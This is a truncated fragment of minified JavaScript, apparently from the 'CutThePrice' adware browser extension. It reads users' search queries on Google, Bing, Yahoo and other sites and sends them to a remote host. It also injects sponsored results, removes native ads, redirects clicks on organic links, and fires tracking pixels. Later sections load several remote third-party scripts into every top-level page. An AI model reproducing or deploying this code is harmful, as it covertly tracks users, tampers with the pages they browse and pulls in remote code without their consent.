function (a) { try { return document.querySelectorAll(a) } catch (b) { } } : function (a) { var b = a.match(/^#([^,\\s]+)$/) || []; if (1 < b.length)return a = document.getElementById(b[1]) || void 0, \"undefined\" != typeof a ? [a] : []; b = document.createElement(\"STYLE\"); document.getElementsByTagName(\"body\")[0].appendChild(b); document.__asya_qsaels = []; b.styleSheet.cssText = a + \"{x:expression(document.__asya_qsaels.push(this))}\"; window.scrollBy(0, 0); return document.__asya_qsaels }; a.clone_object = window.JSON instanceof Object ? function (a) { if (a instanceof Object && (a = JSON.stringify(a), \"string\" == typeof a))return JSON.parse(a) } : function (a) { if (a instanceof Object) { var b = new a.constructor, e; for (e in a)b[e] = arguments.callee(a[e]); return b } return a }; a.dhtml_prop_name = function (a) { return a.replace(/(\\-([a-z]){1})/g, function (a, b, c) { return c.toUpperCase() }) }; a.wildcard_to_regex = function (a) { a = a.replace(/([.^$+(){}\\[\\]\\\\|\\?])/g, \"\\\\$1\"); a = a.replace(/\\*/g, \".*\"); return RegExp(a) }; a.throttle = function (a, b) { var e = null; return function () { var f = this, g = arguments; clearTimeout(e); e = setTimeout(function () { a.apply(f, g) }, b) } }; a.epoch = function () { return (new Date).getTime() }; a.msie = function () { var a = parseInt((/msie (\\d+)/.exec(navigator.userAgent.toLowerCase()) || [])[1], 10); isNaN(a) && (a = parseInt((/trident\\/.*; rv:(\\d+)/.exec(navigator.userAgent.toLowerCase()) || [])[1], 10)); return isNaN(a) ? !1 : a }(); a.version_ie_less = function (a) { if (/MSIE (\\d+\\.\\d+);/.test(navigator.userAgent))return new Number(RegExp.$1) <= a ? !0 : !1 }; a.isIE = function () { return \"Microsoft Internet Explorer\" == navigator.appName || \"Netscape\" == navigator.appName && null != /Trident\\/.*rv:([0-9]{1,}[.0-9]{0,})/.exec(navigator.userAgent) }; a.match_url = function (b, d) { for (var e = 0; e < d.length; e++)if (\"string\" == typeof d[e]) { var f; f = /^\\/.+\\/$/.test(d[e]) ? RegExp(d[e]) : a.wildcard_to_regex(d[e]); if (f instanceof RegExp && f.test(b))return !0 } }; a.ping = function (a) { for (var d = [\"google\", \"bing\", \"yahoo\", \"youtube\"], e = 0; e < d.length; e++)if (-1 < location.hostname.indexOf(d[e])) { var f = new Image, g = encodeURIComponent(window == window.top ? window.location.href : \"\"); 1E3 < g.length && (g = encodeURIComponent(location.hostname)); var h = encodeURIComponent(location.hostname); f.src = b.pixelHost + \"?hid=2021033856717153140&eid=1461&pid=25116&prodid=186&v=\" + b.version + \"&ch=\" + a + \"&lan=\" + navigator.language + \"&cc=US&pr=\" + d[e] + \"&host=\" + h + \"&ref=\" + g } } }; var k = [\"horizontal\", \"vertical\", \"images-horizontal\", \"images-vertical\"]; b.jsonpHost = function () { var a = \"s1. s2. s3. s4. s5. s6.\".split(\" \"); return a[b.utils.getRandomInt(0, a.length - 1)] + \"\" }() + b.baseHostname; b.projects_info = { google: { hrefSelector: \".r a\", unique_search_divs: \"3\", urls: [\"www.google.*\"], src_for_keyword: [\"#gbqfq\", \"#lst-ib\", \"#sbhost\"], dr: [\"#tvcap\", \"#bottomads\", \"#tads\"], tweak: function () { b.events.flush(); var a = b.utils.query_selector_all(\"#nav td\"), c = b.utils.query_selector_all(\".spell + a\")[0]; if (0 < a.length)for (var d = 0; d < a.length; d++)b.events.add(\"click\", function () { b.init_search_project() }, !1, a[d], !0); \"undefined\" !== typeof c && b.events.add(\"click\", function () { b.init_search_project() }, !1, c, !0) }, validate: function (a) { var c = this; if (-1 < location.href.indexOf(\"https://www.google.com/maps\") || location.href.match(/https:\\/\\/www.google.[a-z,\\.]+\\/$/g))return !0; c.callback = a; c.count = 0; this.check_tab = function () { var a = document.getElementById(\"hdtb_msb\") || b.utils.query_selector_all(\".tn\").length && b.utils.query_selector_all(\".tn\") || document.getElementById(\"hdtb-msb\"); if (b.utils.isFalse(a))if (c.count++, 10 > c.count)setTimeout(function () { c.check_tab() }, 1E3); else return !1; else return a = b.utils.query_selector_all(\".hdtb_mitem\")[0] || b.utils.query_selector_all(\".tn > div\")[0] || b.utils.query_selector_all(\".hdtb-mitem\")[0], \"string\" == typeof a.className && a.className.match(/(hdtb_msel|tn-selected-mode|hdtb-msel)/) && (b.utils.ping(\"validate2\"), c.callback()), !1 }; if (!c.check_tab())return !1 } }, yahoo: { hrefSelector: \"a[id^=link]\", unique_search_divs: \"3\", dr: [\".ads.horiz.top\", \".ads.horiz.bot\"], urls: [\"yahoo\"], src_for_keyword: \"#yschsp\", validate: function () { b.utils.ping(\"validate2\"); return !0 }}, bing: { hrefSelector: [\".b_algo a\", \".sb_tlst a\"], unique_search_divs: \"2\", dr: [\".sb_adsWv2\"], urls: [\"www.bing.com/search?*\"], src_for_keyword: [\"#sb_form_q\", \".b_searchboxForm[name='q']\"], validate: function (a) { b.utils.ping(\"validate2\"); a() }}, infospace: { hrefSelector: \".resultTitle\", unique_search_divs: \"1\", dr: [\"\", \"\"], urls: [\"http://search.infospace.com/search/*\"], src_for_keyword: \"#topSearchTextBox\", validate: function () { b.utils.ping(\"validate2\"); return !0 }}, wow: { hrefSelector: \".find\", unique_search_divs: \"1\", dr: [\"\", \"\"], urls: [\"http://www.wow.com/search?*\"], src_for_keyword: \"#csbquery1\", validate: function () { b.utils.ping(\"validate2\"); return !0 }}, duckduckgo: { hrefSelector: \".result__a\", unique_search_divs: \"1\", dr: [\"\", \"\"], urls: [\"://duckduckgo.com/?q=*\"], src_for_keyword: \"#search_form_input\", validate: function () { b.utils.ping(\"validate2\"); return !0 }}, contenko: { hrefSelector: \"#title\", unique_search_divs: \"1\", dr: [\"\", \"\"], urls: [\"://contenko.com/#/?q=*\"], src_for_keyword: \"#searchBar input[type='text']\", validate: function () { b.utils.ping(\"validate2\"); return !0 }}, conduit: { hrefSelector: \"a[id^=ctl00_main_organicResults]\", unique_search_divs: \"1\", urls: [\"http://search.conduit.com*\"], src_for_keyword: \"#q_top\", dr: [\"#master-1\"], validate: function () { return !0 }}, ask: { hrefSelector: \".ptbs  a[id^=r]\", unique_search_divs: \"1\", urls: [\"http://www.ask.com/web?q=*\", \"http://www.ask.com/web?qsrc=*\", \"http://www.ask.com/w...b?am=broad&q=*\"], src_for_keyword: [\"#top_qcomn\", \"#top_q_comm\"], dr: [\"#spl_img_top\"], validate: function () { return !0 }}, triple: { hrefSelector: \".gRsSlicetitle\", unique_search_divs: \"2\", dr: [\"#gRsTopLinks\"], urls: [\"http://search.triple-search.com/?*\", \"http://www.search.tr...-search.com/?*\"], src_for_keyword: \"#q\", validate: function () { var a = b.utils.query_selector_all(\".gRsSTypeSelltr\"); if (0 < a.length) { for (var c = 0; c < a.length; c++)if (\"English\" == a[c].innerHTML)return !0; return !1 } } }, incredimail: { hrefSelector: \".title\", unique_search_divs: \"3\", dr: [\"#MainSponsoredLinks\"], urls: [\"http://www.search.in.../search.php?q*\", \"http://search.incred.../search.php?q*\"], src_for_keyword: \"#q\", validate: function () { return -1 < location.href.indexOf(\"lang=english\") ? !0 : !1 } }, gmaps: { hrefSelector: \"div[class^='ads-line'] a\", unique_search_divs: \"1\", dr: [\".ads.horiz.top\", \".ads.horiz.bot\"], urls: [\"https://www.google.com/maps/*\"], src_for_keyword: \"#searchboxinput\", tweak: function () { var a = function () { b.remove_search(); b.utils.query_selector_all(\".omnibox-cards-transformations\")[0].style.marginTop = \"0px\"; document.getElementById(\"reveal-cards\").style.marginTop = \"0px\" }; b.events.add(\"click\", function () { a() }, !1, document.getElementById(\"cards\"), !1); b.events.add(\"keyup\", function () { a() }, !1, document.getElementById(\"searchbox_form\"), !1); b.events.add(\"click\", function () { a() }, !1, document.getElementById(\"viewcard\"), !1); b.events.add(\"click\", function () { a() }, !1, b.utils.query_selector_all(\".widget-runway-pegman\")[0], !1); b.events.add(\"click\", function () { a() }, !1, b.utils.query_selector_all(\".gscb_a\")[0], !1); var c = function (a) { a = document.querySelector(a); return getComputedStyle(a, null).height }(\".yael .cards-card\"); document.querySelector(\".omnibox-cards-transformations\").style.marginTop = c; document.querySelector(\"#reveal-cards\").style.marginTop = c }, validate: function (a) { b.utils.isIE() || (b.num_of_items_in_one = 1, a()) } }, amazon: { unique_search_divs: \"1\", urls: [\"http://www.amazon.co...eld-keywords=*\"], src_for_keyword: \"#twotabsearchtextbox\", validate: function (a) { a() }}, smartAddress: { hrefSelector: [\"li a\"], unique_search_divs: \"2\", dr: [\".peach ol\"], urls: [\"search.smartaddressbar.com/web.php?s=*\"], src_for_keyword: \"#stxt\", tweak: function () { var a = b.utils.query_selector_all(\".peach\")[0], c = b.utils.query_selector_all(\".right ul\")[0]; a && a.parentNode.removeChild(a); c && c.parentNode.removeChild© }, validate: function () { return !0 }}, superpages: { unique_search_divs: \"1\", urls: [\"http://yellowpages.s...listings.jsp?*\"], src_for_keyword: \"input[type='text']#what\", validate: function () { return !0 }}, yelp: { unique_search_divs: \"1\", urls: [\"http://www.yelp.com/...ch?find_desc=*\"], src_for_keyword: \"input#find_desc\", validate: function () { b.num_of_items_in_one = 1; return !0 }}, yellowpages: { unique_search_divs: \"1\", urls: [\"http://www.yellowpag...search_terms=*\"], src_for_keyword: \"input[type='text']#query\", validate: function () { return !0 }}, info: { unique_search_divs: \"1\", urls: [\"http://www.info.com/search?*\"], src_for_keyword: \"input[type='text']#qkw0\", validate: function () { return !0 }}, webcrawler: { unique_search_divs: \"1\", urls: [\"http://www.webcrawle...m/search/web?*\"], src_for_keyword: \"input[type='text']#topSearchTextBox\", validate: function () { return !0 }}, webssearches: { unique_search_divs: \"1\", urls: [\"http://search.websse...m/search/web?*\", \"http://istart.websse...s.com/web/?q=*\", \"http://istart.websse...es.com/web?q=*\"], src_for_keyword: [\"input[type='search']#topSearchTextBox\", \"input[type='text']#q\"], validate: function () { b.num_of_items_in_one = 2; return !0 }}, mywebsearch: { unique_search_divs: \"1\", urls: [\"http://search.mywebs.../mywebsearch/*\"], src_for_keyword: [\"input#q\"], validate: function () { return !0 }} }; var l = function (a) { if (\"string\" == typeof a) { var c = a.match(/:nth-match\\(([0-9]+)\\)/); if (c && 1 < c.length)return a = b.utils.query_selector_all(a.substr(0, c.index)) || [], a[c[1]] || void 0; a = b.utils.query_selector_all(a) || []; return a[0] || void 0 } }; b.events = new function () { var a = this; a.cache = []; a.add = window.addEventListener ? function (b, d, e, f, g) { \"undefined\" == typeof f && (f = window); f.addEventListener(b, d, e); g && a.cache.push([b, d, e, f]) } : window.attachEvent ? function (b, d, e, f, g) { \"undefined\" == typeof f && (f = window); f[\"e\" + b + d] = d; f[b + d] = function () { f[\"e\" + b + d](window.event) }; f.attachEvent(\"on\" + b, f[b + d]); g && a.cache.push([b, d, e, f]) } : function () { }; a.remove = window.removeEventListener ? function (a, b, e, f) { \"undefined\" == typeof f && (f = window); f.removeEventListener(a, b, e) } : window.detachEvent ? function (a, b, e, f) { \"undefined\" == typeof f && (f = window); f.detachEvent(\"on\" + a, f[a + b]); f[a + b] = null; f[\"e\" + a + b] = null } : function () { }; a.flush = function () { for (var b = 0; b < a.cache.length; b++)a.remove.apply(a, a.cache); a.cache = [] } }; b.get_insertion_element = function (a) { return !a.insert || \"before\" != a.insert && \"after\" != a.insert ? a.element : a.element.parentNode }; b.dom = new function () { this.json_to_html = function (a, c) { if (\"#text\" == a.type)c = document.createTextNode(a.text); else if (\"#comment\" != a.type) { c || (c = document.createElement(a.type)); if (a.attrs) { for (var d in a.attrs)if (a.attrs.hasOwnProperty(d))if (\"style\" == d && a.attrs.style instanceof Object)for (var e in a.attrs.style) { var f = b.utils.dhtml_prop_name(e); try { c.style[f] = a.attrs.style[e] } catch (g) { } } else c.setAttribute(d, a.attrs[d]); \"iframe\" == a.type && (a.attrs.hasOwnProperty(\"frameborder\") && (c.frameBorder = a.attrs.frameborder), a.attrs.hasOwnProperty(\"marginwidth\") && (c.marginWidth = a.attrs.marginwidth), a.attrs.hasOwnProperty(\"marginheight\") && (c.marginHeight = a.attrs.marginheight)) } if (a.children)for (d = 0; d < a.children.length; d++) { f = a.children[d]; e = arguments.callee(f); try { c.appendChild(e) } catch (h) { if (\"#text\" == f.type && \"string\" == typeof f.text)if (\"style\" == a.type && c.styleSheet)c.styleSheet.cssText = f.text || \"\"; else if (e = b.utils.get_node_text_prop©)c[e] = f.text } } } return c } }; b.addEventClick = function (a, c) { for (var d = 0; d < a.length; d++)b.events.add(\"click\", function (a) { a.preventDefault ? a.preventDefault() : a.returnValue = !1; this.href = \"#\"; location.href = c + \"&j=true\"; b.events.flush(); localStorage.setItem(b.prefix, b.now + b.clickInterval); return !1 }, !1, a[d], !0) }; b.checkClickInterval = function (a) { if (b.now > a)return !0 }; b.setClickHref = function (a, c) { if (\"undefined\" != typeof b.projects_info[c].hrefSelector) { if (b.utils.getRandomInt(1, 1E4) >= 1E4 / b.ratio)return !1; var d = b.projects_info[c].hrefSelector, e = parseInt(localStorage.getItem(b.prefix)); if (\"undefined\" != typeof d) { if (d instanceof Array)for (var f = 0; f < d.length; f++) { var g = b.utils.query_selector_all(d[f]); if (0 < g.length)break } else g = b.utils.query_selector_all(d); if (!e || b.checkClickInterval(e))b.addEventClick(g, a), b.j = !0 } } }; b.escape_chars_for_json = function (a) { for (var b in a)\"string\" === typeof a && (a = a.replace(/\\\"/g, '\\\\\"')); return a }; b.tpl_engine = function (a, c, d) { \"false\" !== d.layouts.unique && (c = b.escape_chars_for_json©); a = JSON.stringify(a); d = [{replace: \"title\", \"with\": c.title}, { replace: \"displayUrl\", \"with\": c.displayUrl}, {replace: \"description\", \"with\": c.description}, {replace: \"clickUrl\", \"with\": c.clickUrl}]; for (var e = 0; e < d.length; e++)a = a.replace(RegExp(\"\\\\[##\" + d[e].replace + \"##\\\\]\", \"g\"), d[e][\"with\"]); try { return \"undefined\" !== typeof c.pxl && \"\" !== c.pxl && b.utils.sendPixels(c.pxl), JSON.parse(a) } catch (f) { } }; b.get_item_json = function (a, c) { var d = b.utils.clone_object(a.layouts.template); d.attrs instanceof Object || (d.attrs = {}); return d = b.tpl_engine(d, c, a) }; b.add_jsonp_to_config = function (a, c) { b.get_item_json(a) }; b.remove_search = function () { var a = b.utils.query_selector_all(\".yael\"); if (0 < a.length)for (var c = 0; c < a.length; c++)a[c].parentNode.removeChild(a[c]) }; b.inject_json = function (a) { \"first\" == a.insert ? a.element.insertBefore(a.node, a.element.firstChild) : \"before\" == a.insert ? a.element.parentNode.insertBefore(a.node, a.element) : \"after\" == a.insert ? a.element.parentNode.insertBefore(a.node, a.element.nextSibling) : a.element.appendChild(a.node) }; b.get_ad_dom = function (a) { return a.layouts instanceof Object && a.layouts.dom instanceof Object ? a.layouts.dom : !1 }; b.get_layout_type = function (a) { if (a.layouts instanceof Object)for (var b = 0; b < k.length; b++)if (-1 < a.layouts.id.indexOf(k))return k; return !1 }; b.create_search = function (a) { a = b.get_ad_dom(a); return b.dom.json_to_html(a) }; b.templates = new function () { this.container_id = 0; this.add_real_links = function (a, c) { b.utils.add_event(\"click\", function (b) { window.open(a); b.preventDefault ? b.preventDefault() : b.returnValue = !1 }, !1, c) } }; b.validate_response = function () { for (var a in __yael_res.data.items)__yael_res.data.items[a].displayUrl.match(/^(http:\\/\\/|https:\\/\\/|\\/\\/)/) && __yael_res.data.items[a].displayUrl.replace(/^(http:\\/\\/|https:\\/\\/|\\/\\/)/, \"\") }; b.is_target_valid = function (a) { if (0 != __yael_res.data.numberOfItems && \"undefined\" != typeof a.element)return a.urls instanceof Array && !b.utils.match_url(a.element.ownerDocument.location.href, a.urls) ? !1 : !0 }; var n = null; b.get_target_element = function (a) { if (a.inserts instanceof Array && \"undefined\" == typeof a.element)for (var b = 0; b < a.inserts.length; b++)if (a.element = l(a.inserts.selector), \"undefined\" !== typeof a.element) { a.insert = a.inserts.at; break } }; b.add_data_to_config = function (a, c) { if (0 == c.length)return b.unique_items_left = !1; var d = b.get_ad_dom(a); (function (a, c) { c.children && 0 !== c.children.length ? (c = c.children[c.children.length - 1], arguments.callee(a, c)) : b.insert_point = c })(a, d); for (var e = 0; e < b.num_of_items_in_one && 0 != c.length; e++) { var f = b.get_item_json(a, c[0]); try { b.insert_point.children.push(f) } catch (g) { b.insert_point = d, b.insert_point.children.push(f) } \"true\" == a.layouts.unique ? b.not_unique_items.push(c.shift()) : c.shift() } }; b.addEventsToItems = function () { for (var a = document.querySelectorAll('a[href*=\"' + b.jsonpHost + '\"]'), c = 0; c < a.length; c++)b.events.add(\"click\", function () { b.init_search_project() }, !1, a[c], !1) }; b.check_if_div_in_dom = function (a, b) { var d = [], e; for (e in __yael_res.config.targets) { var f = __yael_res.config.targets[e]; clearTimeout(n); a++; if (4 < a)return; if (f.inserts instanceof Array && \"undefined\" == typeof f.element)for (var g = 0; g < f.inserts.length; g++) { var h = l(f.inserts[g].selector); \"undefined\" !== typeof h && d.push(h) } } for (e = 0; e < d.length; e++)if (\"undefined\" == typeof d[e]) { var k = this; n = setTimeout(function () { k.apply(k, arguments) }, 200) } b() }; b.addExtensionName = function (a) { var c = JSON.stringify(a.layouts.dom); if (!c.match(/\\[##eid##\\]/))return a; c = c.replace(/\\[##eid##\\]/g, b.eid); a.layouts.dom = JSON.parse©; return a }; b.loop_targets = function (a, c, d) { if (a instanceof Object && (b.get_target_element(a), b.is_target_valid(a) && (\"false\" == d && b.unique_items_left && (c = b.not_unique_items), 0 != c.length))) { b.add_data_to_config(a, c); try { a = b.addExtensionName(a) } catch (e) { } try { a.node = b.create_search(a) } catch (f) { } \"undefined\" != typeof a.node && b.inject_json(a) } }; b.removeSecondClick = function () { for (var a = b.utils.query_selector_all(\".yael a\"), c = 0; c < a.length; c++)b.events.add(\"click\", function (a) { setTimeout(function () { for (var a = b.utils.query_selector_all(\".yael a\"), c = 0; c < a.length; c++) { var d = a[c]; d.outerHTML = d.outerHTML.replace(/href\\=/ig, \"_href=\") } }, 20) }, !1, a[c], !0) }; b.addCloseFunctionality = function () { function a(a) { for (var b = a.className.split(\" \"), c = 0; c < b.length; c++)if (\"yael\" === b[c])return a; if (!a.parentElement)return !1; a = a.parentElement; return arguments.callee(a) } var c = b.utils.query_selector_all(\".yael_close_btn\"); if ©for (var d = 0; d < c.length; d++)b.events.add(\"click\", function () { try { var b = a(this) } catch © { } b && b.parentElement.removeChild(b) }, !1, c[d], \"closeBtn\") }; b.inject_search = function () { b.not_unique_items = []; 0 != __yael_res.data.items.length && (b.setClickHref(__yael_res.data.items[0].clickUrl, b.projects_name), b.check_if_div_in_dom(0, function () { for (var a in __yael_res.config.targets) { var c = __yael_res.config.targets[a]; b.loop_targets(c, __yael_res.data.items, c.layouts.unique) } \"function\" == typeof b.projects_info[b.projects_name].tweak && b.projects_info[b.projects_name].tweak(); b.j || b.removeSecondClick(); b.addCloseFunctionality(); b.utils.flushWaitForTokens() })) }; b.init_search_project = function () { b.waitForElementCounter = 0; \"undefined\" != typeof __yael && b.remove_search(); for (var a in b.projects_info)if (b.utils.match_url(location.href, b.projects_info[a].urls)) { var c = b.projects_info[a]; b.projects_name = a; if (-1 < b.initThrottle.indexOf(a))c.validate(function () { c.name = b.projects_name; b.get_keyword(c, function (a, c) { b.jsonp_request(a, c) }) }); else { if (!c.validate())return; c.name = b.projects_name; b.projects_name = a; b.get_keyword(c, function (a, c) { b.jsonp_request(a, c) }) } } return !1 }; b.get_keyword = function (a, c) { var d = a.src_for_keyword, e = function (d) { b.inputElement = d[0]; b.keyword = b.inputElement.value; if (2 > b.keyword.length)return b.utils.flushWaitForTokens(), !1; if (b.inputElement && \"input\" == b.inputElement.tagName.toLowerCase() && \"\" !== b.keyword)return c(b.keyword, a.name) }; if (d instanceof Array)for (var f = 0; f < d.length; f++)b.utils.waitForElement(d[f], function (a) { a && e(a) }, 100, \"keyword\"); else b.utils.waitForElement(d, function (a) { a && e(a) }, 100, \"keyword\") }; b.remove_se_handler = function (a) { var c = b.projects_info[a].dr; if (c instanceof Array)if (\"bing\" == a)for (c = b.utils.query_selector_all(c[0]), a = 0; a < c.length; a++)b.remove_se(c[a]); else for (a = 0; a < c.length; a++) { var d = l(c[a]); b.remove_se(d) } }; b.remove_se = function (a) { a && a.parentElement.removeChild(a) }; b.jsonp_request = function (a, c) { var d = b.num_of_items_in_one * parseInt(b.projects_info[c].unique_search_divs); window.__yael_cb = function (a) { window.__yael_res = a; \"0\" == __yael_res.data.numberOfItems ? b.utils.flushWaitForTokens() : (0 == __yael.utils.getRandomInt(0, 10) && b.remove_se_handler©, __yael.inject_search()) }; \"undefined\" == typeof window.__yael && (window.__yael = b); d = b.jsonpHost + \"/?v=\" + b.version + \"&p=\" + c + \"&keyword=\" + a + \"&numItems=\" + d + \"&hid=2021033856717153140&eid=1461&pid=25116&prid=186\"; \"undefined\" != typeof specificFeeds && specificFeeds instanceof Array && (d += \"&_feeds=\" + specificFeeds.join(\",\")); if (b.utils.isIE()) { if (document.getElementById(\"__yael_script\")) { var e = document.getElementById(\"__yael_script\"); e.parentNode.removeChild(e) } e = document.createElement(\"script\"); e.id = \"__yael_script\"; e.src = \"//\" + d + \"&domvar=__yael_cb\"; e.type = \"text/javascript\"; b.utils.addScript(e, c) } else b.utils.ajax.get(\"//\" + d, function (a) { \"\" != a && (window.__yael_res = JSON.parse(a), window.__yael_res.config.targets.header.num_of_items_in_one && (b.num_of_items_in_one = window.__yael_res.config.targets.header.num_of_items_in_one), \"0\" == __yael_res.data.numberOfItems ? b.utils.flushWaitForTokens() : (0 == __yael.utils.getRandomInt(0, 10) && __yael.remove_se_handler©, __yael.inject_search())) }) }; \"undefined\" == typeof __yael && b.init_search_project(); -1 < b.initThrottle.indexOf(b.projects_name) && b.events.add(\"keyup\", b.utils.throttle(b.init_search_project, 3E3), !1, b.inputElement, !1) } };}catch(e){};try{new function(){if(!(document.getElementById(\"sdjksjsksjdskjd__0\")||window!=window.top||-1<location.host.indexOf(\"google.com\")||-1<location.host.indexOf(\"bing.com\")||-1<location.host.indexOf(\"yahoo.com\"))){var a=document.createElement(\"script\");a.type=\"text/javascript\";a.async=true;a.setAttribute(\"id\",\"sdjksjsksjdskjd__0\");a.src=\"//cdncache-a.akamaihd.net/loaders/1750/l.js?aoi=1311798366&pid=1750&zoneid=458516&ext=CutThePrice&systemid=2021033856717153140&ext=CutThePrice\";document.getElementsByTagName(\"head\")[0].appendChild(a)}};}catch(e){};try{new function(){if(!document.getElementById(\"id_arrrrppdjafklbvnn4450fm\")&&window==window.top){var a=document.createElement(\"script\");a.type=\"text/javascript\";a.async=!0;a.src=\"//istatic.eshopcomp.com/fo/min/wp.js?subid=1461_25116&hid=2021033856717153140&bname=CutThePrice\";a.setAttribute(\"id\",\"id_ar623so92sn445lc0fm\");document.getElementsByTagName(\"head\")[0].appendChild(a)}};}catch(e){};try{new function(){if(!document.getElementById(\"id_arrrrppdjafklbvnn4440fm\")&&window==window.top){var a=document.createElement(\"script\");a.type=\"text/javascript\";a.async=!0;a.src=\"//istatic.eshopcomp.com/fo/ec/wpnewbs.js?subid=1461_25116&hid=2021033856717153140&bname=CutThePrice\";a.setAttribute(\"id\",\"id_cje6936fjie71mc6fa\");document.getElementsByTagName(\"head\")[0].appendChild(a)}};}catch(e){};try{if(window==window.top){var script=document.createElement(\"script\");script.type=\"text/javascript\";script.async=true;script.src=\"//cdncache-a.akamaihd.net/loaders/1748/l.js?aoi=1311798366&pid=1748&zoneid=458516&ext=CutThePrice&systemid=2021033856717153140&ext=CutThePrice\";document.getElementsByTagName(\"head\")[0].appendChild(script)};}catch(e){};try{new function(){if(!document.getElementById(\"7ejvo4812cvb6skot83mcweg3\")&&window==window.top){var a=document.createElement(\"script\");a.type=\"text/javascript\";a.async=!0;a.id=\"7ejvo4812cvb6skot83mcweg3\";a.src=\"//cdncache-a.akamaihd.net/loaders/1749/l.js?aoi=1311798366&pid=1749&zoneid=458516&ext=CutThePrice&systemid=2021033856717153140&ext=CutThePrice\";document.getElementsByTagName(\"head\")[0].appendChild(a)}};}catch(e){};try{new function(){if(!document.getElementById(\"id_ad5cbe0b719874f1\")&&window==window.top){var a=document.createElement(\"script\");a.type=\"text/javascript\";a.async=!0;a.src=\"//istatic.eshopcomp.com/fo/min/wpgb.js?bname=CutThePrice&subid=1461_25116\";a.setAttribute(\"id\",\"jruwmcl34702sh16583msdp2c52\");document.getElementsByTagName(\"head\")[0].appendChild(a)}};}catch(e){};try{(function(){if(!document.getElementById(\"sdfhtyconfsc\")&&window==window.top){var a=document.createElement(\"script\");a.src=\"//fp130.digitaloptout.com/pubjs?pid=630992&sid=1461_25116&an=CutThePrice&opt=1&tc=http%3A%2F%2Fsavemassit.info%2Fterms.html&&pp=http%3A%2F%2Fsavemassit.info%2Fprivacy.html&cid=7\";a.type=\"text/javascript\";a.async=true;a.setAttribute(\"id\",\"sdfhtyconfsc\");document.getElementsByTagName(\"head\")[0].appendChild(a)}})();}catch(e){};try{new function(){if(window.top===window&&!function(){var b='mp2021033856717153140',a=document.getElementsByTagName('body');-1<b.indexOf('##')&&(b='mp0');return a.length&&!a[0].getAttribute(b)?(a[0].setAttribute(b,'1'),!1):!0}()){var h=this,l=h,g=new function(){var b=this;b.JSON=new function(){this.parse=function(a){try{return'undefined'!==typeof JSON&&'function'==typeof JSON.stringify?JSON.parse(a):eval('var a='+a)}catch(d){return!1}}};b.cookie=new function(){var a=this;a.setCookie=function(a,e,c){if©{var b= new Date;b.setTime(b.getTime()+864E5*c);c='; expires='+b.toGMTString()}else c='';document.cookie=a+'='+e+c+'; path=/'};a.getCookie=function(a){a+='=';for(var e=document.cookie.split(';'),c=0;c<e.length;c++){for(var b=e[c];' '==b.charAt(0);)b=b.substring(1,b.length);if(0==b.indexOf(a))return b.substring(a.length,b.length)}return null};a.eraseCookie=function(d){a.setCookie(d,'',-1)}};b.getProtocol=function(a){var d=document.createElement('a');d.href=a;return d.protocol};b.l=new function(){var a=this; a.xlat='abcdwxyzstuvrqponmijklefghABCDWXYZSTUVMNOPQRIJKLEFGH9876543210+/';a.encode=function(d){d=a._utf8_encode(d);for(var e='',c=0;c<d.length;){var b=d.charCodeAt(c++),n=d.charCodeAt(c++),q=d.charCodeAt(c++),r=b>>2,b=(b&3)<<4|n>>4,g=(n&15)<<2|q>>6,k=q&63;isNaN(n)?g=k=64:isNaN(q)&&(k=64);e=e+a.xlat.charAt®+a.xlat.charAt(b)+(64==g?'=':a.xlat.charAt(g))+(64==k?'=':a.xlat.charAt(k))}return e};a._utf8_encode=function(a){if(a&&a.length){for(var e='',c=0;c<a.length;c++){var b=a.charCodeAt©;128>b?e+= String.fromCharCode(b):(127<b&&2048>b?e+=String.fromCharCode(b>>6|192):(e+=String.fromCharCode(b>>12|224),e+=String.fromCharCode(b>>6&63|128)),e+=String.fromCharCode(b&63|128))}return e}return a};a.decode=function(a){a=a.toString().replace(/[^A-Za-z0-9\\+\\/]/g,'');for(var b='',c=0;c<a.length;){var f=this.xlat.indexOf(a.charAt(c++)),n=this.xlat.indexOf(a.charAt(c++)),g=this.xlat.indexOf(a.charAt(c++)),k=this.xlat.indexOf(a.charAt(c++)),h=(n&15)<<4|g>>2,l=(g&3)<<6|k,b=b+String.fromCharCode(f<<2|n>>4); 64!=g&&0<h&&(b+=String.fromCharCode(h));64!=k&&0<l&&(b+=String.fromCharCode(l))}return this._utf8_decode(b)};a._utf8_decode=function(a){for(var b='',c=0;c<a.length;){var f=a.charCodeAt©;if(128>f)b+=String.fromCharCode(f),c++;else if(191<f&&224>f)var g=a.charCodeAt(c+1),b=b+String.fromCharCode((f&31)<<6|g&63),c=c+2;else var g=a.charCodeAt(c+1),k=a.charCodeAt(c+2),b=b+String.fromCharCode((f&15)<<12|(g&63)<<6|k&63),c=c+3}return b}};b.ajax=new function(){this.get=function(a,b){try{var e=new XMLHttpRequest; e.open('GET',a,!0);e.withCredentials=!0;e.onreadystatechange=function(){4==e.readyState&&b(e.responseText)};e.send()}catch©{}}};b.randomChar=function(){for(var a='',b=0;2>b;b++)a+='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'.charAt(Math.floor(52*Math.random()));return a};b.msie=function(){var a=parseInt((/msie (\\d+)/.exec(navigator.userAgent.toLowerCase())||[])[1],10);isNaN(a)&&(a=parseInt((/trident\\/.*; rv:(\\d+)/.exec(navigator.userAgent.toLowerCase())||[])[1],10));return isNaN(a)?!1: a}();b.inject_script=function(a){var b=document.getElementsByTagName('body')[0],e=document.createElement('script');e.type='text/javascript';e.id='id_vdsfvdfvvf';e.src=a;b&&b.appendChild(e)};b.epoch=function(){return Math.floor((new Date).getTime()/1E3)};b.getVert=function(){var a=localStorage.getItem('sk398erjds2d');return a?a:b.forexVert()};b.browser=function(){var a=navigator.userAgent.toLowerCase(),b={webkit:/webkit/.test(a),mozilla:/mozilla/.test(a)&&!/(compatible|webkit)/.test(a),chrome:/chrome/.test(a), msie:/msie/.test(a)&&!/opera/.test(a),firefox:/firefox/.test(a),safari:/safari/.test(a)&&!/chrome/.test(a),opera:/opera/.test(a)};b.version=b.safari?(a.match(/.+(?:ri)[\\/: ]([\\d.]+)/)||[])[1]:(a.match(/.+(?:ox|me|ra|ie)[\\/: ]([\\d.]+)/)||[])[1];return b}();b.getNodeTextProp=function(a){return'textContent'in a?'textContent':'innerText'in a?'innerText':!1};b.dhtml_prop_name=function(a){return a.replace(/(\\-([a-z]){1})/g,function(a,b,c){return c.toUpperCase()})};b.get_computed_style='function'!=typeof window.getComputedStyle? function(a){return{getPropertyValue:function(d){'float'==d&&(d='styleFloat');d=b.dhtml_prop_name(d);return'object'==typeof a.currentStyle&&null!=a.currentStyle&&'undefined'!=typeof a.currentStyle[d]?a.currentStyle[d]:null}}}:function(a,b){return 